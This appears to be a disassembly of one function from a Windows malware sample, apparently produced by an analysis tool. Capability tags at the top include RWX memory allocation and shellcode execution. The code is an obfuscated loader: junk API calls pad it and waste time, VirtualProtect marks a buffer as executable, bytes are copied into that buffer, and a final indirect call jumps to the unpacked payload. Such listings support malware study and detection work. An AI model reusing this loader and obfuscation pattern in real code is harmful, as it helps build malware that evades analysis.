Function at 0x403550
Capabilities:
Allocate or change rwx memory
Allocate thread local storage
Delete directory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get disk size
Resolve function by parsing pe exports

Disassembly:
sub esp, 0xdd4
cmp dword [0x2b87bbc], 0xac
push ebx
push ebp
push esi
push edi
jne 0x403616
push 0
push 0
call dword [sym.imp.USER32.dll_GetWindowLongW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
lea ecx, [esp + 0x1c]
call fcn.00404509
lea ecx, [esp + 0x1c]
call fcn.0040458a
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x20]
mov dword [esp + 0x14], 0x402d6c
call fcn.0040451a
lea ecx, [esp + 0x1c]
mov dword [esp + 0x1c], 0x402ea4
call fcn.0040458a
push 1
push 0x4300d0
lea ecx, [esp + 0x24]
call fcn.0040456d
lea ecx, [esp + 0x1c]
mov dword [esp + 0x1c], 0x402eb0
call fcn.0040458a
push 0
call fcn.0040460e
push 0
push 0
call fcn.0040478e
push 0
push 0
call fcn.00404a21
push 0
call fcn.0040460e
push 0
push 0
call fcn.00404624
push 0
push 0
call fcn.0040463d
push 0
call fcn.004048dc
add esp, 0x2c
mov edi, dword [sym.imp.USER32.dll_SetCaretPos]
mov ebx, dword [sym.imp.USER32.dll_CharLowerBuffW]
mov ebp, dword [sym.imp.USER32.dll_GetSysColorBrush]
xor esi, esi
lea ebx, [ebx]
cmp esi, 0x942e
jge 0x40364e
push 0
push 0
call edi
push 0
lea ecx, [esp + 0x5e4]
push ecx
call ebx
push 0
call ebp
inc esi
cmp esi, 0x1545e
jl 0x403630
add dword [0x2b87bbc], 0x11b1b
call fcn.00403530
mov eax, dword [0x2b87bbc]
mov ecx, dword [0x2b87b30]
lea edx, [esp + 0x48]
push edx
push 0x40
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor esi, esi
cmp dword [0x2b87bbc], esi
jbe 0x4036d9
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ebx, dword [sym.imp.GDI32.dll_GetColorAdjustment]
mov ebp, dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
lea esp, [esp]
mov edx, dword [0x2b894c4]
mov al, byte [edx + esi + 0x11b1b]
mov ecx, dword [0x2b87b30]
mov byte [ecx + esi], al
cmp dword [0x2b87bbc], 0xa8
jne 0x4036d0
push 0
call edi
push 0
push 0
call ebx
push 0
call ebp
inc esi
cmp esi, dword [0x2b87bbc]
jb 0x4036a0
mov edi, dword [sym.imp.KERNEL32.dll_ReadConsoleA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetConsoleDisplayMode]
mov ebp, dword [sym.imp.KERNEL32.dll_DebugBreak]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
xor eax, eax
mov dword [esp + 0x14], eax
mov edx, dword [0x2b87bbc]
add edx, eax
cmp edx, 0xe
jne 0x4037db
push 0
lea eax, [esp + 0x1c]
push eax
push 0
push 0
push 0
call edi
lea ecx, [esp + 0x1c]
push ecx
call ebx
call ebp
push 0x402d7c
call esi
push 0
push 0x402d88
push 0x402da0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceExW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
lea edx, [esp + 0xc0]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfoExA]
push 0x402e34
call esi
xor eax, eax
push eax
lea ecx, [esp + 0x5e4]
push ecx
push 0x402e40
lea edx, [esp + 0x3c]
push edx
push eax
push eax
mov word [esp + 0x48], ax
mov dword [esp + 0x4a], eax
mov dword [esp + 0x4e], eax
mov dword [esp + 0x52], eax
mov word [esp + 0x56], ax
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
lea eax, [esp + 0x4c]
push eax
lea ecx, [esp + 0x7c]
push ecx
lea edx, [esp + 0x34]
push edx
lea eax, [esp + 0x4c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]
push 0
lea ecx, [esp + 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
lea edx, [esp + 0x44]
push edx
push 0
lea eax, [esp + 0x1e8]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoA]
mov eax, dword [esp + 0x14]
inc eax
cmp eax, 0x4f9409
mov dword [esp + 0x14], eax
jl 0x4036f7
mov edi, dword [sym.imp.GDI32.dll_GetCharWidthW]
mov ebx, dword [sym.imp.GDI32.dll_GetCharABCWidthsW]
mov esi, 0x4cc
lea esp, [esp]
push 0
push 0
push 0
push 0
call edi
lea ecx, [esp + 0x1c]
push ecx
push 0
push 0
push 0
call ebx
sub esi, 1
jne 0x403800
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
mov ebp, dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
mov edi, edi
call edi
push 0
call ebx
push 0
push 0
push 0
push 0
call ebp
cmp esi, 0x3b9f9c7
jge 0x403c8f
mov dword [esp + 0xa4], 0x2b23e75a
mov dword [esp + 0x14], 0x4cde8ddd
mov dword [esp + 0x80], 0x5fd7b9a9
mov dword [esp + 0xac], 0x36fee2ef
mov dword [esp + 0x6c], 0x7ea82ce
mov dword [esp + 0x88], 0x7e9e0a9d
mov dword [esp + 0x70], 0x4e9d61c0
mov dword [esp + 0x68], 0x35f910ef
mov dword [esp + 0x5c], 0x1b1f4c31
mov dword [esp + 0x10], 0x3ac9bbf8
mov dword [esp + 0x28], 0x7a15913f
mov dword [esp + 0x60], 0x62549a1c
mov dword [esp + 0xa8], 0x2a24477f
mov dword [esp + 0x64], 0x1201f2d6
mov dword [esp + 0x54], 0x71b2ec6
mov dword [esp + 0x58], 0x480e8347
mov dword [esp + 0x8c], 0x7e45e7b5
mov dword [esp + 0x2c], 0x66ee9337
mov dword [esp + 0x84], 0x37beb127
mov dword [esp + 0x94], 0x5f430172
mov dword [esp + 0x1c], 0x3ef75990
mov dword [esp + 0xa0], 0x17d97796
mov dword [esp + 0x9c], 0x671b5d09
mov dword [esp + 0x18], 0x12f2d2f6
mov dword [esp + 0x44], 0x2e853ae6
mov dword [esp + 0x74], 0x52c4b444
mov dword [esp + 0x98], 0x46a518f9
mov dword [esp + 0x90], 0x35125e2b
mov dword [esp + 0x4c], 0x1ad10849
mov dword [esp + 0x78], 0x381ee696
mov dword [esp + 0x40], 0xe11e6c2
add dword [esp + 0xa4], 0x733a01c6
sub dword [esp + 0xa4], 0x28e1ea4c
sub dword [esp + 0xa4], 0x77f8656a
add dword [esp + 0xa4], 0x1b0fc675
add dword [esp + 0xa4], 0x1e76876c
mov eax, 0x6e3db233
mul dword [esp + 0xa4]
mov eax, dword [esp + 0xa4]
sub dword [esp + 0xa4], 0x65e693b6
add dword [esp + 0xa4], 0x21e4e8db
sub dword [esp + 0xa4], 0x1f11c09d
add dword [esp + 0xa4], 0x3d058891
mov eax, 0x7b9004c1
mul dword [esp + 0x14]
mov eax, dword [esp + 0x14]
add dword [esp + 0xa4], 0x7af13f7b
mov eax, 0x5b31b732
mul dword [esp + 0x14]
mov eax, dword [esp + 0x14]
mov eax, 0x32e9610c
mul dword [esp + 0x80]
mov eax, dword [esp + 0x80]
sub dword [esp + 0xa4], 0x1af62962
sub dword [esp + 0x80], 0x59def22
sub dword [esp + 0xa4], 0x4f8788a3
mov eax, 0x4b2a4fac
mul dword [esp + 0x68]
mov eax, dword [esp + 0x68]
add dword [esp + 0x14], 0x42b3cadb
add dword [esp + 0x70], 0x4aa37306
add dword [esp + 0x6c], 0x56582517
sub dword [esp + 0xa4], 0x5ae8094f
mov eax, 0x230210eb
mul dword [esp + 0x88]
mov eax, dword [esp + 0x88]
sub dword [esp + 0x6c], 0x28378756
mov eax, 0x62657da2
mul dword [esp + 0xac]
mov eax, dword [esp + 0xac]
add dword [esp + 0x6c], 0x2375764f
add dword [esp + 0x70], 0x11b12aed
mov eax, 0x13e95691
mul dword [esp + 0x6c]
mov eax, dword [esp + 0x6c]
mov eax, 0x6f46e2ce
mul dword [esp + 0x88]
mov eax, dword [esp + 0x88]
mov eax, 0x6e95728b
mul dword [esp + 0x28]
mov eax, dword [esp + 0x28]
mov eax, 0x45b8ee68
mul dword [esp + 0x6c]
mov eax, dword [esp + 0x6c]
sub dword [esp + 0xac], 0x61944033
sub dword [esp + 0x70], 0x14d29531
add dword [esp + 0x70], 0x45e7e617
add dword [esp + 0x68], 0x500e65ea
mov eax, 0x36707039
mul dword [esp + 0x28]
mov eax, dword [esp + 0x28]
add dword [esp + 0x70], 0x5f1fe643
sub dword [esp + 0x64], 0x7327cae6
add dword [esp + 0x58], 0x162a0206
add dword [esp + 0x10], 0x23b42ea1
add dword [esp + 0x2c], 0x3b768056
sub dword [esp + 0x2c], 0xf6d96df
sub dword [esp + 0xac], 0x259fb309
add dword [esp + 0x88], 0x2f9e05b4
add dword [esp + 0xac], 0x61dc3320
add dword [esp + 0x28], 0x799a2ec5
add dword [esp + 0x70], 0x893cbaa
add dword [esp + 0x64], 0x15ff780
sub dword [esp + 0x64], 0xc788bba
mov eax, 0x3626429a
mul dword [esp + 0xac]
mov eax, dword [esp + 0xac]
mov eax, 0x13340774
mul dword [esp + 0xac]
mov eax, dword [esp + 0xac]
mov eax, 0x45badb7d
mul dword [esp + 0x8c]
mov eax, dword [esp + 0x8c]
add dword [esp + 0x8c], 0x3ddb5118
sub dword [esp + 0x14], 0x4daecf02
mov eax, 0x3bf366d7
mul dword [esp + 0x58]
mov eax, dword [esp + 0x58]
sub dword [esp + 0x28], 0x4446398f
add dword [esp + 0x2c], 0x33b2e8ae
mov eax, 0x54e9bf20
mul dword [esp + 0x9c]
mov eax, dword [esp + 0x9c]
sub dword [esp + 0x6c], 0x410a050d
sub dword [esp + 0xa0], 0x2588952e
add dword [esp + 0x64], 0x5218a717
mov eax, 0x7e1b1836
mul dword [esp + 0x5c]
mov eax, dword [esp + 0x5c]
mov eax, 0x1856fc37
mul dword [esp + 0x14]
mov eax, dword [esp + 0x14]
mov eax, 0x14c6a33a
mul dword [esp + 0x6c]
mov eax, dword [esp + 0x6c]
mov eax, 0x451f6ebe
mul dword [esp + 0xa0]
mov eax, dword [esp + 0xa0]
mov eax, 0x45dccc0a
mul dword [esp + 0x5c]
mov eax, dword [esp + 0x5c]
mov eax, 0x74f05f91
mul dword [esp + 0x98]
mov eax, dword [esp + 0x98]
mov eax, 0x63b4dc15
mul dword [esp + 0xac]
mov eax, dword [esp + 0xac]
add dword [esp + 0xa8], 0x4ef084d9
cmp esi, 0xbf08bd
jg 0x403ca4
inc esi
cmp esi, 0x19be898c
jl 0x403830
call fcn.004033d0
call fcn.00403510
mov esi, dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov edi, dword [sym.imp.KERNEL32.dll_TzSpecificLocalTimeToSystemTime]
mov ebx, dword [sym.imp.KERNEL32.dll_ScrollConsoleScreenBufferW]
mov ebp, dword [sym.imp.KERNEL32.dll_IsBadCodePtr]
mov dword [esp + 0x10], 0x7b
mov edi, edi
cmp dword [0x2b87bbc], 0x86
jne 0x403d99
push 0
call esi
xor eax, eax
xor edx, edx
lea ecx, [esp + 0x30]
mov word [esp + 0xb0], dx
push ecx
lea edx, [esp + 0xb4]
mov dword [esp + 0xb6], eax
mov dword [esp + 0xba], eax
mov dword [esp + 0xbe], eax
mov word [esp + 0xc2], ax
mov word [esp + 0x34], ax
mov dword [esp + 0x36], eax
mov dword [esp + 0x3a], eax
mov dword [esp + 0x3e], eax
mov word [esp + 0x42], ax
push edx
lea eax, [esp + 0xc8]
push eax
call edi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
xor ecx, ecx
xor edx, edx
mov word [esp + 0x16], dx
lea eax, [esp + 0x18]
push eax
mov word [esp + 0x18], cx
mov ecx, dword [esp + 0x18]
push ecx
lea edx, [esp + 0x24]
push edx
lea eax, [esp + 0x58]
push eax
push 0
call ebx
push 0
call ebp
lea ecx, [esp + 0x78]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
sub dword [esp + 0x10], 1
jne 0x403cd0
mov esi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesA]
mov edi, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ebx, dword [sym.imp.KERNEL32.dll_BackupSeek]
mov ebp, dword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [esp + 0x10], 0x180ef
cmp dword [0x2b87bbc], 0x1f
jne 0x403e06
push 0
lea edx, [esp + 0x1e4]
push edx
call esi
push 0
lea eax, [esp + 0x5e4]
push eax
call edi
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x20]
push edx
lea eax, [esp + 0x54]
push eax
push 0
push 0
push 0
mov dword [esp + 0x30], 0
call ebx
call ebp
sub dword [esp + 0x10], 1
jne 0x403dc4
call fcn.00403120
mov eax, dword [0x2b87b30]
mov dword [0x2b87b34], eax
call eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xdd4
ret